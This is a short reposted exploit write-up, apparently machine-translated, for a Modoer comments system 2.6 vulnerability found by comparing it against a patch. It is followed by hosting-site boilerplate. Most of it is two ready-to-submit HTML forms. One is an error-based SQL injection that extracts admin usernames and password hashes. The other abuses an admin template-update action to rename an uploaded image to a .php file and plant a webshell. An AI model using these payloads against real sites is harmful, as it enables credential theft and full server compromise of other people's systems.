Modoer comments system 2.6 0day (injection + background rename using shell)

Source: Internet
Author: User

Cause: He promised that his website was hacked. In the middle of the night, he asked me to analyze and give him an exp. The official website has released a patch and there is no exp on the Internet. We compared the patch vulnerability that appeared in the datacall_class.php file. If you are interested, let us know. Injection:

<Form action = "http://www.day5.com/index.php? Act = ajax & do = datacall & in_ajax = 1 & m = index & op = get_datacall "method =" post "> <input type =" text "name =" datacallname "value = "_" size = "80"> <input type = "hidden" name = "sid" value = "1/**/AND /** /(select/**/1/**/from/**/(select count (*), concat (SELECT concat (adminname, 0x7c, password) FROM modoer_admin limit 0, 1), floor (rand (0) * 2 )) x/**/from/**/information_schema.tables/**/group/**/by/**/x)) # "/> <input type =" hidden "name =" name "value =" b4dboy "/> <input type =" submit "value =" exp "/> </form>

 

Note: The above datacallname value is encoded instead of garbled characters. Add a self-discovered background file and rename it to shell.
<form method="post" action="http://www.day5.com/admin.php?module=&act=template&op=update">    path:<input type="text" name="root_dir" value="uploads/bcastr/" size="40" /><br />    filename:<input type="text" name="fielnames[1][filename]" value="78_1348754079.jpg" size="40" /><br />    newfilename:<input type="text" name="fielnames[1][newfilename]" value="b4dboy.php" size="40" /><br />    <input type="submit" name="dosubmit" value="exp" /></form>

 


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.